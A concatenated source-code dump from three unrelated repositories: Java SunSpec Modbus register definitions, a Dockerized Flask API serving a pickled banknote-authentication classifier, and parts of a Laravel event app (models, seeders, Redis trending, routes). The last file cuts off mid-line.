init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 24, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off23 extends RegisterUint16 { public Off23(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 25, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off24 extends RegisterUint16 { public Off24(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 26, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off25 extends RegisterUint16 { public Off25(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 27, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off26 extends RegisterUint16 { public Off26(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 28, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off27 extends RegisterUint16 { public Off27(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 29, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off28 extends RegisterUint16 { public Off28(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 30, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off29 extends RegisterUint16 { public Off29(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 31, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off30 extends RegisterUint16 { public Off30(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 32, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off31 extends RegisterUint16 { public Off31(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 33, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off32 extends RegisterUint16 { public Off32(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 34, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off33 extends RegisterUint16 { public Off33(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 35, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off34 extends RegisterUint16 { public Off34(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 36, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off35 extends RegisterUint16 { public Off35(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 37, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off36 extends RegisterUint16 { public Off36(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 38, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off37 extends RegisterUint16 { public Off37(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 39, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off38 extends RegisterUint16 { public Off38(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 40, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off39 extends RegisterUint16 { public Off39(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 41, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off40 extends RegisterUint16 { public Off40(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 42, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off41 extends RegisterUint16 { public Off41(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 43, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off42 extends RegisterUint16 { public Off42(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 44, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off43 extends RegisterUint16 { public Off43(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 45, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off44 extends RegisterUint16 { public Off44(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 46, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off45 extends RegisterUint16 { public Off45(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 47, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off46 extends RegisterUint16 { public Off46(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 48, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off47 extends RegisterUint16 { public Off47(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 49, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off48 extends RegisterUint16 { public Off48(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 50, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off49 extends RegisterUint16 { public Off49(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 51, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off50 extends RegisterUint16 { public Off50(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 52, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Ts extends RegisterUint32 { public Ts(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 53, 2, "Timestamp", "", "Timestamp value is the number of seconds since January 1, 2000", Rw.RW, Mandatory.M); } } public class Ms extends RegisterUint16 { public Ms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 55, 1, "Milliseconds", "", "Millisecond counter 0-999", Rw.RW, Mandatory.M); } } public class Seq extends RegisterUint16 { public Seq(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 56, 1, "Sequence", "", "Sequence number of request", Rw.RW, Mandatory.M); } } public class Role extends RegisterUint16 { public Role(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 57, 1, "Role", "", "Digital Signature ID", Rw.RW, Mandatory.M); } } public class Alg extends RegisterEnum16 { public Alg(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 58, 1, "Algorithm", "", "Algorithm used to compute the digital signature", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "AES-GMAC-64"); hashtable.put((long) 2, "ECC-256"); } } public class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 59, 1, "N", "", "Number of registers comprising the digital signature.", Rw.R, Mandatory.M); } } public class DS extends RegisterUint16 { private int index; public DS(int aIndex,TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 60+ index , 1, "DS "+index, "", "Digital Signature", Rw.R, Mandatory.M); } } }
f8a667d6a75597afee05c07bafb472c727303fe1
[ "Markdown", "Java", "Gradle" ]
26
Java
RetepRelleum/SunSpecReader
4b13959b578e2b980fcfb6e195726cd71fcdd802
d88ce28bdc74674dffc902c1f40ab9354aa2d3a0
refs/heads/master
<repo_name>Gaurav-1213/Docker_from_scratch<file_sep>/Dockerfile FROM anaconda3:4.10.1 COPY . /usr/app/ EXPOSE 5000 WORKDIR /usr/app/ RUN pip install -r requirements.txt CMD python flask_api.py #step1 specify base image #FROM alpine # Base OS (Base img) required to run this app is this. #COPY . /usr/app/ # copy entire content present in this current folder into my docker container # # RUN this app on /5000 port only # working dir from where we will start running # at last run this file to run the app # Download and install dependencies #RUN apk add --update redis # setup the startuo command #CMD ["redis-server"] #FROM python:3.7.5-slim # FROM python:3.7-alpine as base #RUN apt-get update -y && \ # apt-get install -y python-pip python-dev && \ # apt-get install -y build-essential cmake && \ # apt-get install -y libopenblas-dev liblapack-dev && \ # apt-get install -y libx11-dev libgtk-3-dev # #COPY ./requirements.txt /requirements.txt # #WORKDIR / # #RUN pip3 install -r requirements.txt # #COPY . / # #ENTRYPOINT [ "python3" ] #CMD [ "rest-server.py" ] <file_sep>/simple flask app.py """created on Sat 29July2021 @ author : <NAME> """ from flask import Flask, request import pandas as pd import numpy as np import pickle app = Flask(__name__) pickle_in = open('classifier.pickle', 'rb') clf = pickle.load(pickle_in) @app.route('/') def welcome(): return "Welcom all" @app.route( '/predict') # to give inputs in browser manually give it in http..5000/predict?variance=2&skewness=3&curtosis=2&entropy=1 # n when you Enter the you will get "predicted values is [0]" output on browser # /predict?variance=2&skewness=3&curtosis=2&entropy=1 these are the inputs that we r gonna give with GET method def predict_note_authentication(): variance = request.args.get('variance') skewness = request.args.get('skewness') curtosis = request.args.get('curtosis') entropy = request.args.get('entropy') predictioin = clf.predict([[variance, skewness, curtosis, entropy]]) return f'predicted values is {str(predictioin)}' @app.route('/predict_file', methods=["POST"]) # these are the inputs that we r gonna give with entire test_file with POST method def predict_note_file(): df_test = pd.read_csv(request.files.get("file")) prediction = clf.predict(df_test) return f'predicted values for csv_file is {str(list(prediction))}' if __name__ == '__main__': app.run() <file_sep>/flask_api.py """created on Sat 29July2021 @ author : <NAME> """ from flask import Flask, request import pandas as pd import numpy as np import pickle import flasgger # Lib to create beautiful frontend webApp, # initially App was running without flasgger ( using URL editing and postman) but as we want to build webApp hence we have to do it with from flasgger import Swagger app = Flask(__name__) Swagger(app) pickle_in = open('classifier.pickle', 'rb') clf = pickle.load(pickle_in) @app.route('/') def welcome(): return "Welcom all" @app.route( '/predict') # by defaults method will be GET, to give inputs in browser manually give it in http..5000/predict?variance=2&skewness=3&curtosis=2&entropy=1 # n when you Enter the you will get "predicted values is [0]" output on browser # /predict?variance=2&skewness=3&curtosis=2&entropy=1 these are the inputs that we r gonna give with GET method def predict_note_authentication(): """Let's Authenticate the Banks Note using mannual inputs This is using docstrings for specifications. --- parameters: - name: variance in: query type: number required: true - name: skewness in: query type: number required: true - name: curtosis in: query type: number required: true - name: entropy in: query type: number required: true responses: 200: description: The output values """ variance = request.args.get('variance') skewness = request.args.get('skewness') curtosis = request.args.get('curtosis') entropy = request.args.get('entropy') predictioin = clf.predict([[variance, skewness, curtosis, entropy]]) return f'predicted values is {str(predictioin)}' @app.route('/predict_file', methods=["POST"]) # these are the inputs that we r gonna give with entire test_file with POST method def predict_note_file(): """Let's Authenticate the Banks Note using test csv file This is using docstrings for specifications. --- parameters: - name: file in: formData type: file required: true responses: 200: description: The output values """ df_test = pd.read_csv(request.files.get("file")) # this name should be equal to name mentioned in 'type' above. prediction = clf.predict(df_test) return f'predicted values for csv_file is {str(list(prediction))}' if __name__ == '__main__': app.run()
9579de12f98044c14d08efade95d26613802c63e
[ "Python", "Dockerfile" ]
3
Dockerfile
Gaurav-1213/Docker_from_scratch
1a5cac3c7f1f6ba0dc51caacf4352c8ba66180d4
f85704af2d9f4cc727bb35fa9c3c13962c0a57f8
refs/heads/master
<file_sep># lua-practise just try lua <file_sep>require("luasql.mysql") --创建环境对象 env = luasql.mysql() --连接数据库 connect = env:connect("push", "root", "yunnex6j7", "10.10.50.107", 3306) cursor = connect:execute("select * from msg_client limit 10") row = cursor:fetch({}, "test") file = io.open("client.txt", "w+") while row do record = string.format("%s\n", row.id) print(record) file:write(record) row = cursor:fetch(row, "a") end file:close() --关闭文件对象 connect:close() --关闭数据库连接 env:close() --关闭数据库环境 <file_sep>local mysql = require "resty.mysql" local db, err = mysql:new() if not db then ngx.say("failed to instantiate mysql: ", err) return end local ok, err, errcode, sqlstate = db:connect { host = "10.10.50.107", port = 3306, database = "push", user = "root", password = "<PASSWORD>", charset = "utf8", max_packet_size = 1024 * 1024, } if not ok then ngx.say("failed to connect: ", err, ": ", errcode, " ", sqlstate) return end ngx.say("connected to mysql.") local res, err, errcode, sqlstate = db:query("drop table if exists cats") if not res then ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".") return end res, err, errcode, sqlstate = db:query("create table cats " .. "(id serial primary key, " .. "name varchar(5))") if not res then ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".") return end ngx.say("table cats created.") res, err, errcode, sqlstate = db:query("insert into cats (name) " .. "values (\'Bob\'),(\'\'),(null)") if not res then ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".") return end ngx.say(res.affected_rows, " rows inserted into table cats ", "(last insert id: ", res.insert_id, ")") -- run a select query, expected about 10 rows in -- the result set: res, err, errcode, sqlstate = db:query("select * from cats order by id asc", 10) if not res then ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".") return end local ok, err = db:close() if not ok then ngx.say("failed to close: ", err) return end
ae01e2c87c5779750d1cdd478260506e0dc5c92f
[ "Markdown", "Lua" ]
3
Markdown
summer9989/lua-practise
4d6ad1ad34c1927dfb6deb932e0d21d6f158121a
8ce7fd3901c6ba6b6fac135bb81d91c4593329c2
refs/heads/master
<repo_name>oscar-fernandz1981/veterinaria-php<file_sep>/application/views/plantilla/header.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title><?php echo ($titulo)?></title> <metaname="viewport" content="width=device-width, user-scalable=no, initial-scale=1, maximum-scale=1.0, minimum-scale=1.0"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="<KEY>" crossorigin="anonymous"> <!--kit fonawesome--> <script src="https://kit.fontawesome.com/3574fad660.js" crossorigin="anonymous"></script> <!-- hojas de estilo --> <link rel="stylesheet" type="text/css" href="assets/css/miestilo.css"> <!--FONT AWESOME--> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark " style="background-color: #5A3A85;"> <a class="navbar-brand" href="<?php base_url()?>index"> <img src="<?php echo base_url() ?>assets/img/LogoVet3.jpg" width="65" height="75" alt="" class="d-inline-block align-top">Veterinaria El Rodeo </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNavDropdown"> <ul class="navbar-nav"> <li class="nav-item active"> <a class="nav-link" href="<?php base_url()?>index">Inicio <span class="sr-only">(current)</span></a> </li> <li class="nav-item"> <a class="nav-link" href="<?php echo base_url()?>QuienesSomos">Quienes Somos</a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdownMenuLink" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" > Productos </a> <div class="dropdown-menu" aria-labelledby="navbarDropdownMenuLink" style="background-color: #dac0fc;"> <a class="dropdown-item" href="<?php echo base_url()?>CaninoFelino" style="background-color: #dac0fc;">Caninos y felinos</a> <a class="dropdown-item" href="<?php echo base_url()?>Bovinos" style="background-color: #dac0fc;">Bovinos</a> <a class="dropdown-item" href="<?php echo base_url()?>Equinos" style="background-color: #dac0fc;">Equinos</a> </div> </li> <li class="nav-item"> <a class="nav-link" href="<?php echo base_url()?>Servicios">Servicios</a> </li> <li class="nav-item"> <a class="nav-link" href="<?php echo base_url()?>Contacto">Contacto</a> </li> </ul> </div> </nav> <header class="container-fluid header" id="inicio"> <!--<h1 class="text-black pb-4 ">Veterinaria Rodeo</h1>--> <!--<p class="text-black desp "> web developer </p>--> </header> <file_sep>/application/views/plantilla/footer.php <hr> <!--<footer class="container-fluid mt-5 "> <div class="container-fluid footer"> <div class="col-lg-6 col-md-6 col-12"> <center> <p>URGENCIAS VETERINARIAS 24 HRS: 379-4766695 Y 379-5040458 | Seguinos en nuestras redes |</p></center> </div> </div> </footer>--> <footer class="container-fluid mt-5 footer " style="background-color: #5A3A85;"> <div class="row justify-content-around"> <div class="col-lg-6 col-md-6 col-12 p-5"> <p class="text-white">URGENCIAS VETERINARIAS 24 HRS</p> <p class="text-white">Tel: 379-4766695 | 379-5040458</p> <address> <p class="text-white">Suiza 3450 - Corrientes, Argentina</p> </address> <a href=" " target="_blank"> <i class="fab fa-facebook fa-3x"></i> </a> <a href=" " target="_blank"> <i class="fab fa-instagram fa-3x"></i> </a> <a href=" " target="_blank"> <i class="fab fa-whatsapp fa-3x"></i> </a> <!--<script src="<?php echo base_url()?>assets/js/jquery-3.5.0.min.js " ></script> <script src="<?php echo base_url()?>assets/js/bootstrap.min.js " ></script> --> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script> </body> </html><file_sep>/application/views/Servicios.php <!--<center><h1>Nuestros Servicios-atencion y turno online</h1> </center>--> <!-- Contenido De Servicios --> <div class="container"> <div class= "row"> <div class="col-md-12"> <center> <!-- Imagen clinica--> <!--<div> <br></br> <img class= "img-responsive center-block ptb25" src= "<?php echo base_url() ?>assets/img/servicios_clinica.jpg" alt="Servicios de clínica y hospitalización"> </div> <div class="clearfix"> </div> <div>--> <!-- Medicina Preventiva--> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#preventiva"> <img src="<?php echo base_url()?>assets/img/medicina-preventiva.png" alt="Medicina Preventiva"> </div> <div class="media-body"> <h2>Medicina Preventiva</h2> </button> </div> </div> </div> <div class= "collapse" id="preventiva"> <div class="card card-body"> <p> En Veterinaria El Rodeo contamos con excelentes programas de medicina preventiva como es la aplicación de vacunas para perros, gatos, equinos y bovinos de los laboratorios más reconocidos y con los distribuidores del ramo que se han destacado por el mantenimiento de la cadena fría para que los biológicos al ser aplicados a su mascota se encuentren en perfectas condiciones. </p> <p> También contamos con chequeo geriátrico el cual recomendamos para perros de talla miniatura a partir de los 9 años de edad, los perros de talla media a partir de los 7 años y los de talla grande como el gran danés o san bernardo a partir de los 6 años. En estos chequeos podemos detectar enfermedades antes de la presentación de los signos clínicos y comenzar una estrategia para que nuestros amigos tengan una vida más larga y de mejor calidad. </p> </div> </div> <!-- CONSULTA --> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#consulta"> <img src="<?php echo base_url()?>assets/img/consulta.png" alt="Consuta"> </button> </div> <div class="media-body"> <h2>Consulta</h2> </div> </div> </div> <div class= "collapse" id="consulta"> <div class="card card-body"> <p>En Veterinaria El Rodeo contamos con médicos veterinarios expertos en diferentes disciplinas y con la metodología necesaria para llegar a los diagnósticos que permitirán enfocar los tratamientos de manera eficiente y oportuna, seguimos a detalle el expediente clínico orientado a problemas, en el que al conjuntar los datos generales, la historia clínica y el examen clínico podemos arrojar la lista de problemas que nos permitirá agrupar los signos de acuerdo a problemas específicos y recomendar las pruebas de laboratorio e imageniología complementarias.</p> <p>La parte más importante de un estetoscopio es lo que esta en medio de las ojivas.</p> </div> </div> <!-- Cirugia --> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#cirugia"><img src="<?php echo base_url()?>assets/img/cirugia.png" alt></button> </div> <div class="media-body"> <h2>Cirugia</h2> </div> </div> </div> <div class= "collapse" id="cirugia"> <div class="card card-body"> <p>En Veterinaria El Rodeo contamos con quirófano equipado con anestesia inhalada y monitores transquirúrgicos en donde al anestesista se le permite visualizar permanentemente las constantes de las mascotas como son el electrocardiograma, frecuencia respiratoria, entre otras mientras las mascotas son intervenidas quirúrgicamente, nuestro quirófano cuenta también con la instrumentación suficiente para la práctica de cirugía en tejidos blandos y ortopedia contando con expertos cirujanos en diferentes disciplinas.</p> <a name="cirugia" id="cirugia"></a> <h2>Hospitalizacion</h2> <p>En Veterinaria El Rodeo tenemos las instalaciones y el personal capacitado para brindar el internamiento de pacientes con fines tanto terapéuticos como diagnostico en donde se requiere la supervisión e intervención continua (24 horas). Tenemos flexibilidad para ofrecer hospitalización diurna en donde los pacientes son internados durante el día para la supervisión y administración de fármacos o tratamientos mientras los dueños trabajan.</p> </div> </div> <!-- Laboratorio--> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#laboratorio"><img src="<?php echo base_url()?>assets/img/laboratorio.png" alt="Laboratorio"></button> </div> <div class="media-body"> <h2>Laboratorio de analisis clinico</h2> </div> </div> </div> <div class= "collapse" id="laboratorio"> <div class="card card-body"> <p>Contamos con laboratorio integrado permitiendo hacer pruebas como química sanguínea húmeda y seca, lo que facilita la obtención de datos a cualquier hora y en cuestión de minutos, hemograma (biometría hemética), coproparasitología, prueba de detección de parásitos o huevos de los mismos en heces fecales, serología; que permiten detectar enfermedades como parvovirus canino, HIV felino, leucemia viral felina, gusano de corazón o pancreatitis. Sin recurrir a laboratorios externos ni esperar días para obtener los resultados.</p> <p>Nos esforzamos para contar con tecnología de punta para realizar en tiempo de consulta pruebas como gasometría, hemograma, general de orina, química sanguínea (entre otras) en 20 minutos lo que permite tener los resultados en ese momento y poder dar diagnósticos y pronósticos oportunos.</p> </div> </div> <!-- Reproduccion--> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#reproduccion"><img src="<?php echo base_url()?>assets/img/reproduccion.png"></button> </div> <div class="media-body"> <h2>Reproduccion</h2> </div> </div> </div> <div class= "collapse" id="reproduccion"> <div class="card card-body"> <p>Contamos con el equipo y personal calificado para ayudar en los procesos reproductivos como son la detección de estro (celo) mediante diferentes técnicas como son citología vaginal, medición de la conductividad eléctrica del moco vaginal y cristalización salival, todas las anteriores ayudan a correlacionar el momento ideal para la fertilización, misma que se puede realizar mediante monta dirigida o inseminación artificial.</p> </div> </div> <!-- DOMICILIO--> <div class="tit1ppal"> <div class="media"> <div class="media-left"> <button type="button" class="btn-lg btn-block" data-toggle="collapse" data-target="#domicilio"><img src="<?php echo base_url()?>assets/img/domicilio.png" alt= "Servicio a domicilio"></button> </div> <div class="media-body"> <h2>Servicio a domicilio</h2> </div> </div> </div> <div class= "collapse" id="domicilio"> <div class="card card-body"> <p>Previa cita via telefonica contamos con servicio para realizar los tratamientos domiciliarios</p> </div> </div> <br> <p>MUY PRONTO!!!! SOLICITÁ TU TURNO ONLINE</p> </div> </div> </div> </center> </div> </div> </div><file_sep>/application/controllers/Proyecto_controller.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Proyecto_controller extends CI_Controller { public function index() { $data['titulo']="Veterinaria El Rodeo"; $this->load->view('plantilla/header',$data); $this->load->view('home/index'); $this->load->view('plantilla/footer'); } public function QuienesSomos(){ $data['titulo']="Quienes Somos"; $this->load->view('plantilla/header',$data); $this->load->view('QuienesSomos'); $this->load->view('plantilla/footer'); } public function CaninoFelino(){ $data['titulo']="Caninos-Felinos"; $this->load->view('plantilla/header',$data); $this->load->view('CaninoFelino'); $this->load->view('plantilla/footer'); } public function Bovinos(){ $data['titulo']="Bovinos"; $this->load->view('plantilla/header',$data); $this->load->view('Bovinos'); $this->load->view('plantilla/footer'); } public function Equinos(){ $data['titulo']="Equinos"; $this->load->view('plantilla/header',$data); $this->load->view('Equinos'); $this->load->view('plantilla/footer'); } public function Servicios(){ $data['titulo']="Nuestros servicios"; $this->load->view('plantilla/header',$data); $this->load->view('Servicios'); $this->load->view('plantilla/footer'); } public function Contacto(){ $data['titulo']="Contacto"; $this->load->view('plantilla/header',$data); $this->load->view('Contacto'); $this->load->view('plantilla/footer'); } } ?><file_sep>/application/views/QuienesSomos.php <!--<center><h1>Pagina Quienes Somos</h1> </center>--> <div class="container"> <div class= "row"> <div class="col-md-12"> <center> <!-- Imagen clinica--> <div> <img class= "img-responsive center-block ptb25" src= "<?php echo base_url() ?>assets/img/somos-vet.png" alt="Somos"> </div > <div class="tit1ppal"> <div class="media-body"> <br></br> <h2>Quienes Somos</h2> </div> </div> <p>Somos una veterinaria de origen familiar con mas de 60 años en el rubro. Contamos con profesionales capacitados en distintas especialidades</p> <br></br> <div class="tit1ppal"> <div class="media-body"> <h2>Nuestra Misión</h2> </div> </div> <p>Proporcionar servicios integrales de la más alta calidad para las mascotas a través de sistemas preventivos, emergentes y de medicina interna para así mejorar la salud de las personas incrementando la relación Humano-Animal.</p> <br></br> <div class="tit1ppal"> <div class="media-body"> <h2>Visión</h2> </div> </div> <p>Contar con una Clínica Veterinaria único en la zona, esforzándonos para satisfacer la necesidad de servicios veterinarios para personas que buscan trato profesional y especializado</p> <br></br> </div> </div> </div>
fdc4ffa75f7bee0faf56ce48a1e8c883f179a491
[ "PHP" ]
5
PHP
oscar-fernandz1981/veterinaria-php
91e72f00a10f8fca3dad1cf1990d05102dc66c45
718294efc8123eb47b78b381fcebef0bd57bbfc0
refs/heads/master
<file_sep><?php namespace Tests; use Illuminate\Support\Facades\DB; use Illuminate\Foundation\Testing\TestCase as BaseTestCase; abstract class TestCase extends BaseTestCase { use CreatesApplication; protected function setUp(): void { parent::setUp(); // DB::statement('PRAGMA foreign_keys=on;'); DB::table('roles')->insert( [ ['name' => 'Super Admin', 'guard_name' => 'web'], ['name' => 'Event Manager', 'guard_name' => 'web'], ['name' => 'Client', 'guard_name' => 'web'], ] ); DB::table('countries')->insert( [ ['name' => 'Serbia'], ['name' => 'Italy'], ['name' => 'France'], ['name' => 'Germany'], ] ); } } <file_sep><?php namespace App; use Carbon\Carbon; use App\Traits\Favoritable; use App\Traits\RecordsActivity; use Illuminate\Database\Eloquent\Model; /** * Class Comment * @package App * @property int user_id * @property int event_id * @property string body * @property User owner */ class Comment extends Model { use Favoritable, RecordsActivity; /** * @var array */ protected $fillable = [ 'user_id', 'event_id', 'body', ]; /** * @var array */ protected $with = [ 'owner', 'favorites', ]; /** * @var array */ protected $appends = [ 'favoritesCount', 'isFavorited', ]; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function owner() { return $this->belongsTo(User::class, 'user_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function event() { return $this->belongsTo(Event::class); } /** * @return mixed */ public function wasJustPublished() { return $this->created_at->gt(Carbon::now()->subMinute()); } /** * @return mixed */ public function mentionedUsers() { preg_match_all('/\@([^\s\.]+)/', $this->body, $matches); return $matches[1]; } /** * @return string */ public function path() { return $this->event->path() . "#comment-{$this->id}"; } } <file_sep><?php use App\User; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Auth; class EventTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $users = User::role('Client')->get()->random(20); foreach ($users as $user) { Auth::login($user); factory('App\Event', rand(1, 2))->create()->each(function($event) { factory('App\Comment', rand(10, 26))->create([ 'user_id' => auth()->id(), 'event_id' => $event->id, ]); }); } } } <file_sep><?php namespace App; use Illuminate\Support\Facades\Redis; class Trending { public function get() { return array_map('json_decode', Redis::zrevrange($this->cacheKey(), 0, 9)); } public function push($event) { if (! $event->userVisitedEvent()) { Redis::zincrby($this->cacheKey(), 1, json_encode([ 'title' => $event->title, 'path' => $event->path(), ])); } } protected function cacheKey() { return 'trendint_events'; } }<file_sep><?php namespace App\Http\Resources\ResourceIncludes; use Illuminate\Http\Request; /** * Class ResourceIncludes * @package App\Http\Resources\ResourceIncludes */ abstract class ResourceIncludes { /** * @var array */ protected $availableIncludes = []; /** * @param $resource * @param Request|null $request * @return mixed */ public function attach($resource, Request $request = null) { $request = $request ?? app('request'); return tap($resource, function ($resource) use ($request) { $this->getRequestIncludes($request) ->each(function ($include) use ($resource) { if (! trim($include) == '') $resource->load($include); }); }); } /** * @param Request $request * @return \Illuminate\Support\Collection */ protected function getRequestIncludes(Request $request) { $param = data_get($request->input(), 'include', []); $exploded = empty($param) || trim($param) === '' ? '' : explode(',', $param); return collect($exploded)->filter(function ($exploded) { return in_array($exploded, $this->availableIncludes); }); } } <file_sep>window._ = require('lodash'); try { window.Popper = require('popper.js').default; window.$ = window.jQuery = require('jquery'); require('bootstrap'); } catch (e) {} let Vue = require('vue'); window.Vue = Vue; window.axios = require('axios'); window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest'; window.Vue.prototype.authorize = function (handler) { if (window.App.user.roles[0].name === 'Super Admin') { return true; } return handler(window.App.user); }; window.events = new Vue(); window.flash = function (message, level = 'success') { window.events.$emit('flash', { message, level }); }; window.emailVerificationModal = function () { window.events.$emit('emailVerification'); }; <file_sep><?php namespace App\Http\Controllers; use App\Event; class SearchController extends Controller { public function show($query = '') { return Event::search($query)->get(); } } <file_sep><?php use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { $this->call([ MailTypeTableSeeder::class, RoleTableSeeder::class, UserTableSeeder::class, CountryTableSeeder::class, EventTableSeeder::class, ]); } } <file_sep><?php Route::get('/', function () { return view('welcome'); }); // Auth Auth::routes(['verify' => true]); // Home Route::get('/home', 'HomeController@index')->name('home'); // Sociallite Route::get('login/{driver}', 'Auth\SocialAuthController@redirectToProvider')->name('social.oauth'); Route::get('login/{driver}/callback', 